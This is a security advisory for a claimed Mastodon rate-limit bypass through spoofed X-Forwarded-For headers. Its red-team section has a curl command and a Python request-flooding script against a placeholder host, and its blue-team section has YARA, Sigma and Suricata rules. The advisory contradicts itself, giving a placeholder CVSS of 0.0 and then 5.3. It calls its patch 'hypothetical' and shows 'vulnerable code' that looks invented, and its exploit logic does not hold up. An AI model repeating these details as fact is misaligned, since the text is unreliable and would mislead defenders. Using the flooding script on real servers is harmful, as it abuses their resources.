CVE-2024-34535

Executive Summary

CVE-2024-34535 is a security vulnerability in Mastodon version 4.1.6 that allows an attacker to bypass API endpoint rate limiting by sending a crafted HTTP request header. This flaw enables unauthenticated or low-privilege users to perform excessive API calls, potentially leading to resource exhaustion, denial of service (DoS), or abuse of server resources. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to its impact on availability and potential for abuse in automated attacks.

Supply Chain & Package Security

Mastodon is a Ruby on Rails application distributed via GitHub and Docker. The vulnerability affects the core API rate limiting middleware, which is part of the application’s own codebase, not a third-party gem. However, organizations using Mastodon should verify their deployment’s dependency integrity and ensure no malicious modifications have been introduced.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

The threat level is Medium. While the vulnerability does not directly expose data or allow code execution, it enables resource exhaustion and abuse of API endpoints, which can degrade service quality and facilitate further attacks.

Deep Dive & Mechanics

The vulnerability resides in Mastodon’s rate limiting middleware, which is responsible for enforcing API call limits per client IP or token. By crafting a specific HTTP request header (e.g., X-Forwarded-For, X-Real-IP, or a custom header), an attacker can spoof their IP address or bypass the rate limiting logic entirely. The middleware fails to properly validate or sanitize the header, allowing the attacker to reset or evade rate limit counters.

Technical Details:

• The rate limiter uses a key based on the client’s IP address extracted from request headers.
• If the header is malformed or contains multiple IPs, the middleware may incorrectly parse it, leading to a different key or no key at all.
• This allows an attacker to send unlimited requests by rotating spoofed IPs or using a header that causes the limiter to ignore the request.

Attack Scenario:

1. Attacker identifies the vulnerable header (e.g., X-Forwarded-For: 127.0.0.1).
2. Sends API requests with the crafted header, bypassing rate limits.
3. Performs actions such as scraping public timelines, brute-forcing credentials, or triggering resource-intensive endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (Mastodon 4.1.6):

# app/middleware/rate_limiter.rb
def client_ip
  request.env['HTTP_X_FORWARDED_FOR']&.split(',')&.first&.strip || request.ip
end

This code takes the first IP from the X-Forwarded-For header without validation, allowing spoofing.

Patched Code (Hypothetical Fix):

# app/middleware/rate_limiter.rb
def client_ip
  trusted_proxies = ['127.0.0.1', '::1', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16']
  forwarded_ips = request.env['HTTP_X_FORWARDED_FOR']&.split(',')&.map(&:strip)
  if forwarded_ips
    forwarded_ips.reverse_each do |ip|
      return ip unless trusted_proxies.any? { |proxy| IPAddr.new(proxy).include?(ip) }
    end
  end
  request.ip
end

The fix validates IPs against a trusted proxy list and uses the last untrusted IP, preventing spoofing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Mastodon 4.1.6 with API endpoints exposed.
• No authentication required for rate-limited endpoints.

Exploit Steps:

1. Identify a rate-limited API endpoint (e.g., /api/v1/timelines/public).
2. Send a request with a crafted header:

   curl -H "X-Forwarded-For: 127.0.0.1" https://target.mastodon.example/api/v1/timelines/public
   

3. Repeat the request rapidly to observe bypass of rate limits.
4. Automate with a script:

   import requests
   target = "https://target.mastodon.example/api/v1/timelines/public"
   headers = {"X-Forwarded-For": "127.0.0.1"}
   for i in range(1000):
       r = requests.get(target, headers=headers)
       print(f"Request {i}: {r.status_code}")
   

Expected Outcome: The server responds with 200 OK for all requests, indicating rate limit bypass.

Blue Team (Detection & Hardening)

Detection:

• Monitor for excessive requests from a single IP or with suspicious X-Forwarded-For headers.
• Look for patterns where the header contains internal IPs (e.g., 127.0.0.1, 10.0.0.1).

Hardening:

• Apply the hypothetical patch above.
• Configure reverse proxy (e.g., Nginx) to strip or validate X-Forwarded-For:

  location /api/ {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      # Only allow trusted proxies
      set_real_ip_from 10.0.0.0/8;
      real_ip_header X-Forwarded-For;
      real_ip_recursive on;
  }
  

• Use Web Application Firewall (WAF) rules to block requests with suspicious headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated requests to /api/v1/* endpoints with X-Forwarded-For header containing 127.0.0.1, 0.0.0.0, or internal IPs.
  • High volume of requests from a single source IP within a short time window.
• Log IOCs:
  • Application logs showing X-Forwarded-For values that do not match the actual client IP.
  • Rate limit counters not incrementing despite high request volume.
• File IOCs:
  • Modified app/middleware/rate_limiter.rb if attacker has code execution.

Detection Engineering

YARA Rule

rule CVE_2024_34535_Mastodon_RateLimitBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-34535 in Mastodon logs"
        author = "Valters IT"
        date = "2025-04-16"
        severity = "medium"
    strings:
        $header = "X-Forwarded-For: 127.0.0.1" nocase
        $header2 = "X-Forwarded-For: 0.0.0.0" nocase
        $header3 = "X-Forwarded-For: localhost" nocase
        $api_path = "/api/v1/" nocase
    condition:
        any of ($header*) and $api_path
}

Sigma Rule

title: CVE-2024-34535 Mastodon Rate Limit Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with crafted X-Forwarded-For headers targeting Mastodon API
author: Valters IT
date: 2025-04-16
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-query|contains: "/api/v1/"
        cs-headers|contains: "X-Forwarded-For: 127.0.0.1"
    condition: selection
falsepositives:
    - Legitimate proxy configurations
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34535 Mastodon Rate Limit Bypass"; flow:to_server; http.header; content:"X-Forwarded-For"; nocase; http.header; content:"127.0.0.1"; nocase; http.uri; content:"/api/v1/"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade Mastodon to a patched version (if available) or apply the hypothetical patch.
   • Configure reverse proxy to validate X-Forwarded-For headers and restrict to trusted proxies.
   • Implement additional rate limiting at the network level (e.g., Nginx limit_req).

2. Long-term Fixes:

   • Use a robust IP validation library (e.g., rack-attack with proper configuration).
   • Monitor for similar header injection vulnerabilities across all middleware.

3. Workarounds:

   • Disable X-Forwarded-For header parsing in the application and rely solely on request.ip.
   • Use a Web Application Firewall (WAF) to block requests with suspicious headers.

Valters IT